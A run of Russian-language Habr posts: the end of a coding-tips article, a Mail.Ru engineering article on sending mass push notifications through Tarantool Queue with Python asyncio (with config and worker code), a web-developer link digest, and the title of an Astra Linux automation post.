Это может выглядеть подозрительно, но преимуществ у такого подхода больше чем недостатков.
Общий метод `say_hello` помещается в общий класс `View`,
а вот `taxi_say_hello` в класс `Taxi`.
Это не самое гибкое решение, но на практике такого подхода должно хватать надолго для не крупных проектов.
*Ремарка:* насколько я знаю, подход `MVC` (`Model-View-Controller`) имеет как сторонников, так и противников.
Поэтому в первую очередь все должно зависеть от требований к проекту.
### Совет номер 6
На что я МОГУ заменить свою функцию / класс?
Допустим, у вас есть класс `user` и у него есть метод отправки данных по почте.
Для этого вы используете какой-либо фреймворк.
В какой-то момент вы решили сменить этот фреймворк.
Старый фреймворк:
```
recipient = BarMailAgent.serialize_recipient(recipient=...)
FooMailAgent.send(text=self.get_txt_data(), recipient=..., retry=3, delay=10)
```
Новый фреймворк:
```
# recipient serialization already inside the method
BarMailAgent.send(message=self.get_txt_data(), email=..., attempts=3, interval=10)
```
`FooMailAgent1` и `BarMailAgent` делают примерно одно и тоже, но быстро заменить в коде одно на другое не получится, разные аргументы, разный набор действий.
Лучше создать универсальный класс / метод именно для вашего кода (учитывая специфику), который будет принимать заранее известные аргументы, а дальше уже передавать их какому-либо методу.
```
class User:
def send_email(self, version: int = 1, arguments=...):
if version == 1:
recipient = BarMailAgent.serialize_recipient(recipient=...)
FooMailAgent.send(text=self.get_txt_data(), recipient=..., retry=3, delay=10)
else:
# recipient serialization already inside the method
BarMailAgent.send(message=self.get_txt_data(), email=..., attempts=3, interval=10)
```
Совсем безболезненно заменить фреймворк трудно, но это явно облегчит задачу.
### Совет номер 7
Напишите сперва идеальный псевдокод, как в идеальном случае должен выглядеть ваш код, пример:
```
def register(user: User):
user.validate()
user.save()
logger.log(event=events.registration, entity=user, )
mail.send(event=events.registration, recipient=user.email, )
notifier.notify(event=events.registration, recipients=user.possible_friends, )
statistics.add_record(event=events.registration, recipient=user.email,)
```
*Ремарка:* Я пользуюсь правилом: 1 строчка - 1 действие.
Это сделано для того, что бы можно было быстро пробежаться глазами.
Когда кода много - основная причина ошибок это невнимательность, и хорошо, если тесты покроют этот случай.
Можно запросто забыть оправить почту, уведомить друзей и т.п., особенно, когда набор действий постоянно меняется от руководства и команды аналитики.
Где-то снаружи код может выглядеть так:
```
def register_handler(update, context):
try:
events.register(user=context.user)
except Exceptions.Registration.ValidationError:
# Где-то внутри будет: "400. Увы, вы ввели некорректные данные, мы не можем сохранить такого пользователя."
events.fails.registration(user=user)
except Exceptions.Registration.DbError:
# Где-то внутри будет: "503. Внутренняя ошибка, приносим свои извинения."
events.fails.registration(user=user)
```
Должен отметить, что этот код вызывает у меня самого несколько некритичных сомнений:
1. Должен ли блок `try/except` быть снаружи метода "`register`"?
2. Можно ли упаковать "`user`" в "`events.registration`"?
3. Нужно ли передавать целиком пользователя или только необходимые атрибуты?
С 1-ой стороны это делает код очевиднее, с другой - при изменении необходимого набора - придется больше писать.
Я для себя пришел к такому компромиссу:
Если атрибут неотъемлемая часть объекта (почта, телефон, айди) - передаем объект целиком, иначе - только атрибут.
В любом случае, это неплохой вариант для архитектуры.
### Совет номер 8
Обращайте внимание на формат данных.
Какой-нибудь фреймворк может передавать на вход вашим обработчикам объект под названием `event / update`.
Функции проверки из этого объекта нужен только атрибут "`user`",
а базе данных из этого объекта нужен только атрибут "`ID`" или "`role`".
Т.е. условная проверка прав доступа может выглядеть так:
`update / event` - передано в обработчик.
`update.user` - передано в функцию проверки.
`user.id` - передано в запрос к базе данных.
Не нужно в функцию проверки передавать `update` целиком, таким образом ваша функция обработки сможет быть использована сразу для нескольких фреймворков. Именно это позволяет мне легко сменить мой фреймворк при желании.
Мои функции валидации / проверки не зависят от формата данных предоставленных фреймворком.
### Совет номер 9
Отдавайте предпочтение пространству имен, а не ветвлениям.
Каждая ветка `if/else` усложняет код, создает потенциальную возможность ошибки и усложняет тестирование.
*Ремарка:* в архитектуре существуют метрики сложности кода, чрезмерное ветвление ухудшает показатели.
Теоретически, все API можно написать на ветвлениях, но не нужно:
```
def gloabal_handler(request):
if request.url == 'settings':
...
elif request.url == 'photos':
...
```
Отдавайте ветвления на откуп ЯП, ведь в конечном счете пространство имен можно представить как:
```
for key in namespace:
if key == dot_value:
return key
```
*Ремарка:* Лично я, кроме обычного кейсов, использую компромиссный подход, применяю ветвление если от него зависят аргументы функции, но не сама функция (и не будет зависеть в будущем).
(функцию тоже можно представить как аргумент, но это часто может усложнить код, оставьте это для декораторов).
### Совет номер 10
Скрывайте постоянные аргументы функции внутри отдельной функции.
Здесь аргумент 'hello' всегда одинаковый, он не несет никакой полезной нагрузки при анализе кода, в 9 / 10 случаях при чтении кода мы НЕ хотим концентрировать свое внимание на том, какой текст отправляется, но код ниже заставляет нас это делать.
Легко читаемая функция, но может быть еще проще.
```
# Используйте переменную-константу вместо 'hello'
bot.send_message(text='hello', recipient=user.id, )
```
Краткость - сестра таланта.
```
View.say_hello(recipient=recipient, ) # bot.send_message внутри
```
**Благодарю за внимание.** | https://habr.com/ru/post/709670/ | null | ru | null |
# Asyncio Tarantool Queue, вставай в очередь
В одной из своих статей я рассказывал об [асинхронной работе с Tarantool на Python](http://habrahabr.ru/company/mailru/blog/254727/). В данной статье продолжу эту тему, но внимание хочу уделить обработке информации через очереди на [Tarantool](http://tarantool.org/). Мои коллеги опубликовали несколько статей о пользе очередей ([Инфраструктура обработки очередей в социальной сети Мой Мир](http://habrahabr.ru/company/mailru/blog/228131/) и [Push-уведомления в REST API на примере системы Таргет Mail.Ru](http://habrahabr.ru/company/mailru/blog/232981/)). Хочу дополнить информацию об очередях на примере решений наших задач, а также рассказать о работе с [Tarantool Queue](https://github.com/tarantool/queue/) на Python и asyncio. Почему мы выбираем именно Tarantool, а не Redis или RabbitMQ?
Задача о рассылке сообщений «по всей базе пользователей»
========================================================
На Mail.Ru существует множество медийных сайтов: [Новости](https://news.mail.ru/), [Авто](https://auto.mail.ru/), [Леди](https://lady.mail.ru/), [Здоровье](https://health.mail.ru/), [Hi-Tech](https://hi-tech.mail.ru/) и т.д., и каждый день их посещают миллионы пользователей. Сайты адаптированы для мобильных устройств, для большинства из них существует touch-версия. Для удобства пользователей мы создали [мобильное приложение Новости](https://news.mail.ru/app/), которое пользуется популярностью на Android- и iOS-устройствах. После публикации «горячей» новости каждому пользователю нашего приложения поступает пуш-уведомление. Выглядит это обычно так: главный редактор выбирает новость, нажимает в админке кнопку «Огонь», и все — поехали! А что же дальше? Дальше нужно как можно быстрее разослать эту новость по всей базе подписчиков. Если кто-то получит пуш-уведомление через полчаса, то, возможно, новость будет уже не такой «горячей», и пользователь узнает о ней из другого источника. Это не наш случай.
Итак, есть база данных, которая хранится в нашем любимом Tarantool. Нужно как можно быстрее обойти всю базу и отправить пуш-уведомление всем подписчикам. Для каждого из них в базе данных хранится пуш-токен и немного информации об устройстве в json-формате: версия приложения, разрешение экрана, часовой пояс, интервал времени, в котором пользователь хочет получать уведомления. Указание часового пояса очень важно, ведь рассылать пуш-уведомления по ночам, когда все спят, не очень хорошая идея.
С требованиями все ясно, идем дальше.
Решаем задачу
=============
Обычно решать задачу мы начинаем в лоб, по-простому. Простой код выглядит всегда очень красиво и понятно:
```
while «Есть пользователи»:
Выбрать «пачку» пользователей
Отправить пуш-уведомление каждому пользователю из «пачки»
```
Основной цикл `while` будет выполняться до тех пор, пока он не обойдет всех пользователей. Если база пользователей небольшая, то дальше можно ничего не делать, задача решена. Что здесь можно улучшить? Как ускорить такой цикл? Как рассылать за фиксированное время вне зависимости от размера базы данных? Для этого нужно уточнить детали процесса отправки уведомлений.
Для простоты остановлюсь на двух платформах Android и iOS. Что же такое «отправить пуш»? Как это сделать? Есть описание протоколов [Google Cloud Messaging](https://developers.google.com/cloud-messaging/http?hl=ru) и [Apple Push Notification Service](https://developer.apple.com/library/ios/documentation/NetworkingInternet/Conceptual/RemoteNotificationsPG/Chapters/ApplePushService.html). Есть готовые библиотеки для отправки пуш-уведомлений в [Android](https://pypi.python.org/pypi/gcm-client/) и [iOS](https://pypi.python.org/pypi/apns/2.0.1) на Python, предназначенные для работы в привычном «синхронном» режиме. Если копнуть глубже, то каждая платформа обладает своей спецификой. Пуш в Android — это отправка json-данных по https, в iOS — отправка бинарных данных в ssl-сокет. Apple скоро обещает поддержку протокола HTTP/2. Под Android возможна отправка нескольким адресатам. В iOS имеется возможность группировки нескольких пользователей и отправки уведомлений группе. То есть группировка для каждой платформы также имеет свои особенности.
Явно напрашивается решение с очередями. Хочется разделить процесс выборки пользователей из базы данных и процесс рассылки уведомлений по платформам. Но есть много важных деталей. Для независимости процесса отправки одной платформы от другой мы можем разделить пользователей из выбранной «пачки» на iOS и Android, сгруппировать пользователей и добавить сообщение на отправку в нужную нам очередь. Далее сообщения можно обработать, то есть выполнить непосредственно саму работу по отправке пуш-уведомлений. Схематично все эти процессы можно представить так:
Схема обхода базы пользователей и обработки сообщений через очередь
Что даст такой подход? Мы отделим процесс обхода базы пользователей от рассылки пуш-уведомлений. Таким образом, начнем быстрее перебирать (выполнять `select_range`) «пачки» в нашем исходном цикле. Если при обработке сообщений по одной из платформ мы столкнемся с потенциальными проблемами (а такие бывают достаточно часто), то это никак не повлияет на рассылку по другой платформе. Таким образом, сможем легко распараллелить обработку сообщений по ядрам сервера, ведь у нас теперь есть логические очереди. Если понадобится немного расширить нашу систему, то мы просто добавим новые логические очереди.
Решаем проблемы с нагрузкой и масштабированием
==============================================
С увеличением нагрузки на одном сервере быстро закончится CPU. Добавляем еще один сервер? Да, в точности такой же. Но лучше это сделать еще на этапе проектирования сервиса. Если заставить работать систему на двух серверах, то добавить еще пару десятков не составит труда. Мы придерживаемся этого принципа: минимум два сервера, даже когда нет настоящей нагрузки. Несколько серверов также повысят надежность сервиса. Архитектура сервиса принимает следующий вид:
Схема обхода базы пользователей на двух серверах
Итак, мы имеем два сервера, на каждом из которых свои очереди (еще, конечно же, есть база пользователей, считаем, что она просто есть где-то рядом, доступна для выполнения `select_range`, не будем уделять этому много внимания). Очень важно запустить цикл обхода параллельно на двух серверах. Можно итерироваться по нашему циклу на одном из серверов, выбирать «пачки», каждую «пачку» помещать в разные очереди, равномерно распределять «пачки» по всем серверам. При таком подходе мы будем вынуждены «гонять» данные по сети. Выбрать «пачку» и положить ее в очередь на другой сервер — слабая сторона такого подхода. Нужно распараллелить `select_range` по серверам.
Для этого на одном из серверов необходимо выбрать «пачку», в очередь на «соседнем» сервере добавить маленькое сообщение с информацией о последнем id-пользователя из текущей «пачки». При обработке маленького сообщения на втором сервере мы должны получить «новую пачку» начиная с указанного id, сформировать аналогичное сообщение «серверу-соседу», и т.д., пока не переберем всю базу. Текущую «пачку» нужно всегда обрабатывать локально в своей очереди. Таким образом, мы «как бы» переместим код к нашим данным, распараллелим генерацию «пачек» по серверам и не будем гонять данные по сети.
Диаграмма последовательности будет выглядеть так:
Цикл «по всем пользователям» делается неявно через `queue.put(last_id)`. Процесс рассылки завершится после того, как в `select_range` закончатся пользователи. Очень важно, что в схеме рассылки отсутствуют какие-либо блокировки в БД. Эта схема очень похожа на процесс MapReduce в Hadoop, тот же принцип «Разделяй и властвуй».
Точно такая же архитектура применяется и в нашем продакшен. Для каждого типа мобильного приложения и платформы используются отдельные логические очереди, что позволяет добиваться независимого параллельного выполнения процессов. Рассылка пуш-уведомлений для новости по нашей боевой 2-миллионной базе пользователей занимает около 2 минут. Одновременно с такими рассылками кластер из восьми серверов отправляет около 10 тыс. пуш-уведомлений в секунду.
Особенности написания кода для Tarantool Queue
==============================================
Как работать с большим количеством логических очередей? Как одновременно разгребать и генерировать данные для всех очередей в одном Python-процессе? На помощь приходят асинхронные приемы в программировании. В примерах я буду использовать Centos 6.4, Python 3, asyncio, [aiotarantool\_queue](https://github.com/shveenkov/aiotarantool-queue-python), Tarantool 1.6 и Tarantool Queue.
Очередь Tarantool Queue выдерживает достаточно большие нагрузки. Есть [описание](https://github.com/tarantool/queue) на GitHub. В одном инстансе с Tarantool Queue можно создать несколько логических очередей при помощи вызова `queue.create_tube`. Логические очереди называются tube (тьюбы). Поддерживается несколько типов логических очередей. В Tarantool Queue имеется механизм `take/ack`. Вызов `take` помечает таск как «в работе». Вызов `ack` удаляет таск из очереди, подтверждая таким образом его успешное выполнение. Если дело не дойдет до вызова `ack`, то другой процесс «подхватит» таск и выполнит `take`. Можно на какое-то время отложить выполнение таска при помощи параметра `delay`. Таким функционалом и производительностью обладает не каждая очередь.
Использование Tarantool как для хранилища пользователей, так и для системы очередей делает наш сервис простым в плане используемых технологий. Использовать Tarantool Queue вовсе не обязательно. Tarantool и Lua предоставляют возможность для реализации собственной очереди.
Устанавливаем Tarantool, размещаем [github.com/tarantool/queue](https://github.com/tarantool/queue) в каталоге /usr/local/lua. В конфиге Tarantool /etc/tarantool/instances.enabled/q1.lua указываем:
```
#!/usr/bin/env tarantool
package.path = package.path .. ';/usr/local/lua/tarantool-queue/?.lua'
box.cfg{listen = 3301, slab_alloc_arena = 2}
queue = require 'queue'
queue.start()
box.queue = queue
```
Стартуем наш инстанс с очередью:
```
tarantoolctl start q1
```
Заходим в консоль:
```
# tarantoolctl enter q1
/usr/bin/tarantoolctl: Connecting to /var/run/tarantool/q1.control
/usr/bin/tarantoolctl: connected to unix/:/var/run/tarantool/q1.control
unix/:/var/run/tarantool/q1.control
```
Разрешаем гостевой доступ и создаем логическую очередь `q1`:
```
q1.control> box.schema.user.grant('guest','read,write,execute','universe')
q1.control> queue.create_tube('q1', 'fifo')
^D
```
Разгребать одну очередь можно так:
```
queue = Tarantool.Queue(host="localhost", port=3301)
while True:
task = queue.take(tube="q1")
process(task)
task.ack()
```
Для того чтобы разгребать N очередей, можно создать N процессов. В каждом процессе необходимо выполнить connect к нужной очереди и запустить точно такой же цикл. Вполне рабочий подход, но если очередей много, то будет много коннектов к Tarantool Queue. Также будет запущено множество процессов, потребляющих физическую память сервера. Ну и «много коннектов» не делает работу с Tarantool настолько эффективной, насколько она может быть. Также в процессах придется держать коннекты к серверам Google и Apple. И опять же, чем меньше коннектов к серверам Google или Apple мы держим, тем меньше мы их нагружаем, тем больше ресурсов нашего сервера нам доступно.
В статье «Асинхронная работа с Tarantool на Python» я подробно рассказывал, почему обращение в один коннект к Tarantool может дать заметный прирост производительности (это очень важно для наших нагрузок). Данный подход можно применить и здесь. Немного модифицируем наш исходный псевдо-код для разгребания очереди. Адаптируем его под asyncio.
```
import asyncio
import aiotarantool_queue
@asyncio.coroutine
def worker(tube):
while True:
task = yield from tube.take(.5)
if not task:
break
# process(task.data)
yield from task.ack()
loop = asyncio.get_event_loop()
queue = aiotarantool_queue.Queue("127.0.0.1", 3301, loop=loop)
workers = [asyncio.async(worker(tube), loop=loop)
for tube in (queue.tube('q1'), queue.tube('q2'), queue.tube('q3'))]
loop.run_until_complete(asyncio.wait(workers))
loop.run_until_complete(queue.close())
loop.close()
```
В одном процессе создаем коннект к очереди. Создаем корутины с циклом take/ack для всех логических очередей. Запускаем event loop и разгребаем все наши очереди. Так выглядит наш паттерн работы с очередями.
Хочется отметить, что код остался линейным, нет никаких callbacks. Также «под капотом» этого кода скрыто то, что таски из очереди будут вычитываться «пачками» — все это дает из коробки `aiotarantool_queue`. И никаких ожиданий, пуллинга очередей и таймаутов! Круто? Для загрузки всех ядер сервера по CPU, конечно, придется сделать несколько таких процессов, но это уже дело техники. Обработка очередей на Python-процессах выглядела бы примерно так же. Вместо корутин были бы процессы. А при синхронном подходе код мог бы получиться еще более запутанным, и самое главное — не таким производительным.
Но есть и минусы использования asyncio. Нужно заставить работать сторонние библиотеки, что не так сложно сделать, но придется внимательно просмотреть код этих библиотек и адаптировать их работу при помощи вызовов asyncio. Если нам нужен производительный сервис, то все старания по поддержке работы сторонних библиотек под asyncio будут оправданы.
А как же Redis и RabbitMQ?
==========================
Почему мы используем Tarantool Queue, а не Redis или RabbitMQ? Выбор в пользу того или иного продукта сделать не так просто — мы рассматривали и Redis, и RabbitMQ. Даже был прототип на Redis. Все эти решения обладают достаточно хорошей производительностью. Но тут дело не только в том «кто быстрее»…
Прежде всего, хочется, чтобы очередь была надежной, и находилась не в памяти. Tarantool с его WAL выглядит надежнее, чем Redis и RabbitMQ.
Каждая из систем очередей обладает своими особенностями. В Redis есть механизм pub/sub, а он не подходит для решения наших задач — нам нужна именно очередь. В Redis есть списки и операции rpush/blpop с блокировкой и ожиданием появления данных, однако нет механизма take/ack. В нашем продакшен надежность обеспечивается именно этим механизмом — он не раз проявлял себя с лучшей стороны.
RabbitMQ богат различными паттернами для очередей. Для решения наших задач требуется лишь часть функционала RabbitMQ. Его производительность действительно очень высокая, однако если включить сохранение данных на диск, то производительность при нагрузке сильно падает. Для эксплуатации RabbitMQ нужны опытные системные администраторы, которые смогут диагностировать проблемы в продакшен, а не просто порестартить инстанс RabbitMQ.
Отдельного внимания у RabbitMQ заслуживает его Python API и коннектор для asyncio. API для очередей реализовано на callback-ах. Код от callback-ов становится сложным и тяжело поддерживаемым. Чтобы сделать message.ack в asyncio, нужно создать [Future и дождаться ее](https://github.com/Polyconseil/aioamqp/blob/master/aioamqp/tests/test_basic.py#L114). Такой код выглядит очень сложно. Также у нас не получилось отправить несколько put/take в один коннект.
У Redis с asyncio все гораздо лучше: есть прекрасный коннектор от автора самого asyncio. Работает действительно быстро.
В Redis и в RabbitMQ отсутствует такая интеграция данных в БД и lua, как у Tarantool. Как правило, задачи на продакшен требуют от очереди чуть больше «логики» из коробки. А в Tarantool этого легко добиться благодаря lua. Например, можно начать хранить счетчики или кеш с данными, или статистику прямо на инстансах с очередями. Все это делает Tarantool удобным для решения различных задач.
Подводим итоги
==============
Мы рассмотрели архитектуру того, как максимально быстро и эффективно распараллелить обход всей базы пользователей с помощью системы очередей на нескольких серверах. Мы рассмотрели паттерны использования Tarantool Queue и asyncio. Уделили внимание проблемам разработки кода с использованием систем очередей. Рассмотрели проблемы RabbitMQ и Redis, а также преимущества Tarantool Queue.
Надеюсь, информация окажется полезной для читателей Хабра. Буду рад, если кто-то поделится своими кейсами применения очередей и расскажет о причинах выбора того или иного решения.
Ссылки, используемые при написании статьи:
* Tarantool — A NoSQL database running in a Lua application server [tarantool.org](http://tarantool.org/)
* Python asyncio [asyncio.org](http://asyncio.org/)
* Tarantool connection driver for work with asyncio [github.com/shveenkov/aiotarantool](http://github.com/shveenkov/aiotarantool)
* Tarantool Queue bindings for work with python asyncio [github.com/shveenkov/aiotarantool-queue-python](https://github.com/shveenkov/aiotarantool-queue-python)
* Инфраструктура обработки очередей в социальной сети Мой Мир [habrahabr.ru/company/mailru/blog/228131](http://habrahabr.ru/company/mailru/blog/228131/)
* Push-уведомления в REST API на примере системы Таргет Mail.Ru [habrahabr.ru/company/mailru/blog/232981](http://habrahabr.ru/company/mailru/blog/232981/)
* Асинхронная работа с Tarantool на Python [habrahabr.ru/company/mailru/blog/254727](http://habrahabr.ru/company/mailru/blog/254727/) | https://habr.com/ru/post/271513/ | null | ru | null |
# Несколько интересностей и полезностей для веб-разработчика #32
Доброго времени суток, уважаемые хабравчане. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром.
#### [ICEcoder](https://github.com/mattpass/ICEcoder)
[](https://github.com/mattpass/ICEcoder)
Это не просто песочница, а полноценный open source редактор в вашем браузере. Вообще существуют десктопные версии, но по-моему, наибольшие внимание разработчики уделают веб-версии. ICEcoder поддерживает HTML, CSS, LESS, SASS, JS, Coffee, PHP, RonR, Python, C/C++/C#, Java, Lua, Rust, SQL, Markdown, всего более 60 языков! Фичи: возможность совместной работы с кодом, Emmet, LiveReload, работа с БД, колопикер, diff tool, линтеры и еще целое множество удачных интерфейсных решений. Повторюсь — это все в вашем браузере!
#### [Lazysizes](https://github.com/aFarkas/lazysizes)
Вероятно, лучший скрипт для ленивой подгрузки контента. Во-первый: он очень по-умному написан и он быстрый с точки зрения производительности. Во-вторых: работает с изображениями, фреймами и другими виджетами. В-третьих: поддержка отзывчивых изображений, воспринимает **picture**, **srcset** и специальные дата-атрибуты. Ну и плюс ко всему, он максимально просто в установке, для корректной работы нужно только указать соответствующим элементам класс lazyload.
#### [Canman.js](https://github.com/meltingice/CamanJS/)
[](https://github.com/meltingice/CamanJS/)
(Ca)nvas (man)ipulation для Node.js и браузеров. С помощью данной библиотеки вы сможете с легкостью производить различные операции с изображениями и даже создавать фильтры, как в Instagram. На эту тему есть статья от [Tutorialzine](http://tutorialzine.com
/2013/02/instagram-filter-app/).
```
Caman('#my-image', function () {
this.brightness(10);
this.contrast(30);
this.sepia(60);
this.saturation(-30);
this.render();
});
```
или
```
```
#### [Swarm](https://github.com/gritzko/swarm)
Swarm — это изометрическая реактивная M-из-MVC библиотека для Node.js, которая синхронизирует объекты в режиме реального времени и позволяет работать в оффлайне.
```
var Swarm = require('swarm');
var Mouse = Swarm.Model.extend('Mouse', {
defaults: {
name: 'Mickey',
x: 0,
y: 0
}
});
module.exports = Mouse; // CommonJS
```
Обратимся к модели в App.js:
```
// 1. create local Host
var swarmHost = new Swarm.Host('unique_client_id');
// 2. connect to your server
swarmHost.connect('ws://localhost:8000/');
// 3.a. create an object
var someMouse = new Mouse();
// OR swarmHost.get('/Mouse');
// OR new Mouse({x:1, y:2});
// 4.a. a locally created object may be touched immediately
someMouse.set({x:1,y:2});
// 3.b. This object is global (we supply a certain id) so we
// may need to wait for its state to arrive from the server
var mickey = new Mouse('Mickey');
// 4.b. ...wait for the state to arrive
mickey.on('init', function () {
// ...so we may touch it finally.
mickey.set({x: 3, y: 4});
});
// 5. let's subscribe to the object's change events
mickey.on(function (spec, val, source) {
// this will be triggered by every state change, be it
// local or remote
console.log('event: ', spec.op(), val);
// outputs:
// set {x:3, y:4}
});
```
#### [Material Design Icons](https://github.com/google/material-design-icons)
Огромная коллекция иконок от Google в двух размерах SVG, с CSS спрайтами и во всех размерах PNG для мобильников и веба.
[](https://github.com/google/material-design-icons)
#### [Later.js](https://github.com/bunkat/later)
Вероятно, самый простой способ работы с повторяющимися задачами по расписанию.
```
// fires every 2 hours on the first day of every month
// and 8:00am and 8:00pm on the last day of every month
// except in December
var sched = later.parse.recur()
.every(2).hour().first().dayOfMonth()
.and()
.on(8,20).hour().last().dayOfMonth()
.except()
.on(12).month();
// get the next 10 valid occurrences
later.schedule(sched).next(10);
```
#### [Лучшие плагины для Sublime Text](http://habrahabr.ru/post/235901/)
На прошлой неделе я опубликовал подборку с лучшими плагинами для ST. Большое спасибо всем комментаторам, благодаря вам дайджест стал еще более содержательным. Но для тех кто уже его видел, все равно рекомендую взглянуть на него еще раз, потому что там появилось несколько новых плагинов по рекомендациям наших коллег с [Reddit](http://www.reddit.com/r/programming/comments/2krn3x/the_best_plugins_for_sublime_text/).
#### Западные мысли или что стоило бы перевести на Хабре:
* [AngularJS Tutorial: A Comprehensive 10,000 Word Guide](http://www.airpair.com/angularjs)
* [How Do You Work With Other People’s Code?](http://www.sitepoint.com/work-peoples-code/)
* [Mobile Web App Checklist](http://www.luster.io/blog/9-29-14-mobile-web-checklist.html)
* [Designing Better JavaScript APIs](http://www.smashingmagazine.com/2012/10/09/designing-javascript-apis-usability/)
* [The Art of Creating Simple but Flexible APIs](http://josdejong.com/blog/2014/10/18/the-art-of-creating-simple-but-flexible-apis/)
* [CSS last-line: Controlling Widows & Orphans](http://demosthenes.info/blog/946/CSS-last-line-Controlling-Widows-&-Orphans)
* [How to set the order of stacked columns in a responsive email design](https://www.campaignmonitor.com/blog/post/4321/order-stacked-columns-responsive-email)
* [A Look into Speech Support in CSS3](http://www.developer.com/lang/css/a-look-into-speech-support-in-css3.html)
* [Hybrid Mobile Apps: Providing A Native Experience With Web Technologies](http://www.smashingmagazine.com/2014/10/21/providing-a-native-experience-with-web-technologies/)
* [HTML5 Video Caption Cue Settings in WebVTT](http://ronallo.com/blog/html5-video-caption-cue-settings-tester/)
* [Google publishes its ‘Physical Web’ open standard for using URLs as beacons for smart devices](http://thenextweb.com/google/2014/10/02/google-publishes-physical-web-open-standard-using-urls-beacons-smart-devices/)
* [How to Use PHPbrew and VirtPHP](http://www.sitepoint.com/use-phpbrew-virtphp/?utm_content=bufferf2c44&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer)
* [Bitcoin and PHP with Coinbase’s API – Demo App](http://www.sitepoint.com/bitcoin-php-coinbases-api-demo-app/?utm_content=buffera0e0b&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer)
* [These 8 Tricks to Selecting a Design Partner Will Amaze You](https://medium.com/@monteiro/these-8-tricks-to-selecting-a-design-partner-will-amaze-you-84f40d290296)
* [Improving Your Information Architecture With Card Sorting: A Beginner’s Guide](http://www.smashingmagazine.com/2014/10/20/improving-information-architecture-card-sorting-beginners-guide/)
* [Design Accessibly, See Differently: Color Contrast Tips And Tools](http://www.smashingmagazine.com/2014/10/22/color-contrast-tips-and-tools-for-accessibility/)
* [Reducing Abandoned Shopping Carts In E-Commerce](http://www.smashingmagazine.com/2014/10/23/reducing-abandoned-shopping-carts/)
* [asDesigned](http://asdesigned.bernardoantunes.com/)
#### Говорят и показывают отечественные ИТ ресурсы:
* [«Шпаргалка по шпаргалке по Flexbox»](http://css-live.ru/articles-css/shpargalka-po-shpargalke-po-flexbox.html) от CSS Live, оригинал на [Jonibologna.com](http://jonibologna.com/flexbox-cheatsheet/)
* [«Как использовать API сайта, у которого нет API?»](http://habrahabr.ru/post/241335/) от [sleeping-owl](https://habrahabr.ru/users/sleeping-owl/)
* [«Аксиоматический CSS и лоботомированные совы»](http://frontender.info/axiomatic-css-and-lobotomized-owls/) от Frontender, [оригинал на A List Apart](http://alistapart.com/article/axiomatic-css-and-lobotomized-owls).
* [«Продвинутое использование объектов в JavaScript»](http://habrahabr.ru/post/241465/) от [benjie](https://habrahabr.ru/users/benjie/)
* [«Эквалайзер на JavaScript»](http://habrahabr.ru/post/240819/) от [linoleum](https://habrahabr.ru/users/linoleum/)
* [«Работа с COM портом в web-проекте»](http://habrahabr.ru/post/240775/) от [Forx](https://habrahabr.ru/users/forx/)
* [«Быстрая загрузка веб-шрифтов на адаптивных сайтах»](http://css-live.ru/articles-css/bystraya-zagruzka-veb-shriftov-na-adaptivnyx-sajtax.html) от CSS Live, оригинал на [Bdadam.com](http://bdadam.com/blog/loading-webfonts-with-high-performance.html).
* [«Изучаем Javascript перебирая косточки Backbone.js»](http://habrahabr.ru/post/240969/)
[«Разбор Underscore»](http://habrahabr.ru/post/240713/) от [IDriuk](https://habrahabr.ru/users/idriuk/)
* [«BlackHole.js с привязкой к картам leaflet.js»](http://habrahabr.ru/post/241023/) от [artzub](https://habrahabr.ru/users/artzub/)
* [«Создание расширения для Chrome за пару часов»](http://habrahabr.ru/post/241131/) от [mudasobwa](https://habrahabr.ru/users/mudasobwa/)
* [«Создание пакета для Laravel»](http://habrahabr.ru/post/241423/) от [Cherryoff](https://habrahabr.ru/users/cherryoff/)
* [«Pythonista. Пишем на Python для iOS»](http://habrahabr.ru/post/241229/) от [Snusmumrick97](https://habrahabr.ru/users/snusmumrick97/)
* [«TypeScript и путь к версии 2.0»](http://habrahabr.ru/company/microsoft/blog/241744/) от [kichik](https://habrahabr.ru/users/kichik/)
* [«Движок SpiderMonkey обошел V8 на собственном тесте Google»](http://habrahabr.ru/post/241762/) от [ilya42](https://habrahabr.ru/users/ilya42/)
* [«jQuery 3.0: будущие поколения»](http://habrahabr.ru/company/enterra/blog/241983/) от [DreamWalker](https://habrahabr.ru/users/dreamwalker/)
* [«Яндекс.Браузер теперь и для Linux»](http://habrahabr.ru/company/yandex/blog/241915/) от [BarakAdama](https://habrahabr.ru/users/barakadama/)
#### Напоследок:
* Стандарт HTML5 достиг статуса рекомендации W3C.
* [Meteor 1.0](https://github.com/meteor/meteor)
* [Webfontloader](https://github.com/typekit/webfontloader) — библиотека для управления загрузкой шрифтов.
* [Awesome WPO](https://github.com/davidsonfellipe/awesome-wpo) (Web Performance Optimization).
* [Synaptic.js](https://github.com/cazala/synaptic) — нейронные сети со свободной архитектурой (признаюсь я так и не понял, что это за библиотека и было бы интересно почитать комментарии по этому поводу).
* [Respimage](https://github.com/aFarkas/respimage) — полифил для корректной работы атрибута **srcset**.
* [Remarkable.js](https://github.com/jonschlinkert/remarkable) — быстрый и правильный Markdown парсер.
* [Pgweb](https://github.com/sosedoff/pgweb) — web-based PostgreSQL database browser.
* [Reactable](https://github.com/glittershark/reactable) — быстрые и удобные таблицы с данными для React.js.
* [Swarmize](https://github.com/guardian/swarmize) — система управления информацией для журналистов от The Guardian.
* [Schematics](https://github.com/schematics/schematics) — Python Data Structures for Humans.
* [Flaskbb](https://github.com/sh4nks/flaskbb) — форум, написанный на Python на основе фреймворка Flask.
* [lwan](https://github.com/lpereira/lwan) — experimental, scalable, high performance HTTP server.
* [The ultimate guide to Bootstrap](http://www.webdesignerdepot.com/2014/10/the-ultimate-guide-to-bootstrap/).
* [Image Data Cleaner](https://github.com/codepo8/image-data-cleaner/) — удаляет [EXIF данные](http://en.wikipedia.org/wiki/Exchangeable_image_file_format) с изображений. Современные устройства записывают массу информации в снимки ([подробнее](http://christianheilmann.com/2014/10/21/removing-private-metadata-geolocation-time-date-from-photos-the-simple-way-removephotodata-com/)).
* [Code:Deck](http://varianto25.com/) — очень крутые игровые карты для разработчиков.
[**Предыдущая подборка (Выпуск 31)**](http://habrahabr.ru/post/240861/)
Приношу извинения за возможные опечатки. Если вы заметили проблему — напишите, пожалуйста, в личку.
Спасибо всем за внимание. | https://habr.com/ru/post/241539/ | null | ru | null |
# Автоматизация автоматизации или как мы обеспечили автоустановку не только ОС Astra Linux, но и софта в один «проход»
